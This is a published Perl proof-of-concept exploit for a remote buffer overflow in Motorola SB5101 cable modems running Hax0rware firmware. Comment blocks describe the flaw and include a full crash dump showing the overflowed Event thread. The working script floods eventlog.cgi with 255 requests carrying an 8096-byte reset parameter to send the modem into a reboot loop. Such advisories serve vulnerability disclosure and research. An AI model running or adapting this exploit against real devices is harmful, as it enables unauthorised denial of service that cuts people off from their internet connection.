Motorola SB5101 – Hax0rware Event Reset Remote Overflow

#!/usr/bin/perl

# Motorola SB5101 Hax0rware Event Reset Remote Overflow

# Tested on Hax0rware 1.1 R30, R32 and R39

# Author: Dillon Beresford

# Date: 6/6/2010

# Vendor: Motorola Corporation and SBHacker ( SBHacker has been notified of the vuln ).

# Software Link: http://www.sbhacker.net/forum/index.php

# Description: Motorola SB5101 Hax0rware Event Reset Remote Buffer Overflow

# An unauthenticated attacker could send multiple log reset requests to eventlog.cgi,

# causing a a denial of service, which would send the cable modem into a reboot loop.

# For debugging telnet into the device 192.168.100.1 and run the poc.

# >>> YIKES... looks like you may have a problem! <<<

# r0/zero=00000000 r1/at =80510000 r2/v0 =00000000 r3/v1 =00000002

# r4/a0 =ac100102 r5/a1 =00000000 r6/a2 =00000001 r7/a3 =8069b914

# r8/t0 =00000001 r9/t1 =00000000 r10/t2 =00000001 r11/t3 =00000000

# r12/t4 =00000000 r13/t5 =00000000 r14/t6 =00000000 r15/t7 =00000005

# r16/s0 =807bd04c r17/s1 =807bd004 r18/s2 =807bd000 r19/s3 =8069bb90

# r20/s4 =8069bb88 r21/s5 =11110015 r22/s6 =11110016 r23/s7 =11110017

# r24/t8 =00000000 r25/t9 =00000009 r26/k0 =807d2698 r27/k1 =8069bc7c

# r28/gp =80458fa0 r29/sp =8069b910 r30/fp =8069b970 r31/ra =80197d24

# PC : 0x80197e14 error addr: 0xac100102

# cause: 0x00000010 status: 0x1000ff03

# BCM interrupt enable: fffffff7, status: 00000000

# Instruction at PC: 0x8c830000

# entry 80197c58 called from 801dbe10

# entry 801dbd08 called from 80242f64

# entry 80242eb8 called from 802fb2e4

# entry 802fb2ac called from 802fb2a4

# entry 802fb2ac Return address (00000000) invalid. Trace stops.

# Task: NetToMedia Thread

# ---------------------------------------------------

# ID: 0x0025

# Handle: 0x8069ba24

# Set Priority: 23

# Current Priority: 23

# State: SUSP

# Stack Base: 0x8069a9b0

# Stack Size: 4096 bytes

# Stack Used: 1088 bytes

# Stack Stack Stack

# TaskId TaskName Priority State Size Used Margin

# ---------- -------------------------------- -------- -------- -------- -------- --------

# 0x8048f818 Idle Thread 31 RUN 2048 1064 984

# 0x805131d0 Network alarm support 6 SLEEP 2256 1232 1024

# 0x804924c8 Network support 7 SLEEP 8192 1824 6368

# 0x80513f20 pthread.00000800 15 EXIT 7852 1104 6748

# 0x8048a1c8 tStartup 18 SLEEP 12288 5208 7080

# 0x8054b9ac Rajko HttpD 23 SLEEP 3280 2164 1116

# 0x807f579c NonVol Device Async Helper 25 SLEEP 3072 504 2568

# 0x807ebc7c Motorola Standby Switch Thread 23 SLEEP 4096 440 3656

# 0x807ea984 Motorola Vendor Ctl Thread 23 SLEEP 4096 512 3584

# 0x807f64e8 WDOG 17 RUN 5120 2784 2336

# 0x807e8eb0 BFC Ping Thread 29 SLEEP 6144 476 5668

# 0x807e870c ConsoleThread 27 RUN 36864 2168 34696

# 0x807d6c58 TelnetD 23 RUN 2256 2040 216

# 0x807ca564 CfgVB Thread 23 SLEEP 4096 516 3580

# 0x807c5400 DHCM 25 SLEEP 16384 516 15868

# 0x807bf390 Event 25 SLEEP 0 0 0 OVERFLOW

# 0x8079a900 Time Of Day Thread 23 SLEEP 6144 460 5684

# 0x8079ad70 CmDocsisIpThread 23 SLEEP 8192 508 7684

# 0x80793edc CmBpiManagerThd 25 SLEEP 8192 512 7680

# 0x8079035c CmDsxHelper 23 SLEEP 8192 508 7684

# 0x807ac334 CmDocsisCtlThread 21 SLEEP 8192 516 7676

# 0x80789228 Scan Downstream Thread 23 SLEEP 4096 1416 2680

# 0x80786004 RateShaping Thread 23 SLEEP 4096 448 3648

# 0x807f65e0 CMHL 23 SLEEP 4500 372 4128

# 0x807f66d8 CMHH 21 SLEEP 4500 356 4144

# 0x807f67d0 ENRX 23 SLEEP 4500 1248 3252

# 0x807f68c8 ENTX 23 SLEEP 4500 788 3712

# 0x807f69c0 ELNK 23 SLEEP 4500 324 4176

# 0x807f6ab8 USTX 23 SLEEP 4500 344 4156

# 0x807f6bb0 USRX 23 SLEEP 4500 376 4124

# 0x807f6ca8 UBCT 19 SLEEP 4500 360 4140

# 0x807f6da0 USRN 23 SLEEP 4500 344 4156

# 0x806a5e18 DHCP Client Thread 23 SLEEP 12288 512 11776

# 0x807f6e98 IpHalIst 23 RUN 4500 816 3684

# 0x8069ff7c CmPropaneCtlThread 23 SLEEP 8192 1632 6560

# 0x8069d320 IGMP Thread 23 SLEEP 4096 460 3636

# 0x8069ba24 NetToMedia Thread 23 SUSP 4096 1088 3008

# 0x8069798c Trap Thread 23 SLEEP 16384 504 15880

# 0x807f6030 SNMP Thread 23 SLEEP 20480 1196 19284

# 0x805aaf20 DHCP Server Thread 23 SLEEP 8192 1448 6744

# 0x8047b410 tNonVolTimer 30 SLEEP 2048 292 1756

# * *

# *** ***

# ***** *****

# ******* *******

# ********* *********

# **** *** *** ****

# *** *** ***

# *** * ***

# ** **

# * *

# Motorola Corporation

# +----------------------------------------------------------------------------+

# | _/_/ _/_/_/_/ _/_/ |

# | _/ _/ _/ _/ _/ Broadband |

# | _/ _/ _/ _/ |

# | _/_/ _/_/_/ _/ Foundation |

# | _/ _/ _/ _/ |

# | _/ _/ _/ _/ _/ Classes |

# | _/_/_/ _/ _/_/ |

# | |

# | Revision: 3.9.33.3 RELEASE |

# | |

# | Features: Console Nonvol Fat HeapManager SNMP Networking USB1.1 |

# +----------------------------------------------------------------------------+

# | Standard Embedded Target Support for BFC |

# | |

# | Revision: 3.0.1 RELEASE |

# | |

# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |

# | |

# | Revision: 3.0.1 RELEASE |

# | |

# | Features: PID=0xc011 Bootloader-Rev=2.1.6d |

# | Features: Bootloader-Compression-Support=0x19 |

# +----------------------------------------------------------------------------+

# | eCos BFC Application Layer |

# | |

# | Revision: 3.0.2 RELEASE |

# | |

# | Features: eCos Console Cmds, (no Idle Loop Profiler) |

# +----------------------------------------------------------------------------+

# | _/_/ _/ _/ |

# | _/ _/ _/_/ _/_/ DOCSIS Cable Modem |

# | _/ _/ _/ _/ |

# | _/ _/ _/ |

# | _/ _/ _/ _/ |

# | _/_/ _/ _/ |

# | |

# | Revision: 3.9.33.3 RELEASE |

# | |

# | Features: AckCel(tm) DOCSIS 1.0/1.1/2.0 Propane(tm) CM SNMP w/Factory MIB |

# | Features: Support CM Vendor Extension |

# +----------------------------------------------------------------------------+

# | Motorola Data-Only CM Vendor Extension |

# | |

# | Revision: 3.0.0a RELEASE |

# | |

# | Features: DHCP Server HTTP Server |

# +----------------------------------------------------------------------------+

# | Build Date: Apr 29 2009 |

# | Build Time: 15:08:51 |

# | Built By: vobadm02 |

# +----------------------------------------------------------------------------+

use LWP::Simple;

my $junk = "\x31" x 8096;

print "+---------------------------------------------------------------+\n".

"| Motorola SB5101 Hax0rware Event Reset Remote Overflow |\n".

"| Motorola: SB5101-2.7.6.0-GA-00-NOSH |\n".

"| Version: 1.1 R30, R32 and R39 |\n".

"| Vendor: Motorola Corporation and SBHacker |\n".

"| Author: Dillon Beresford |\n".

"| Date: 6/6/2010 |\n".

"+---------------------------------------------------------------+\n";

for ($count = 1; $count < 256; $count++)

{

$contents = get("http://192.168.100.1/eventlog.cgi?reset=".$junk);

print "sending request to cable modem\n";

}

print "We killed it!\n";

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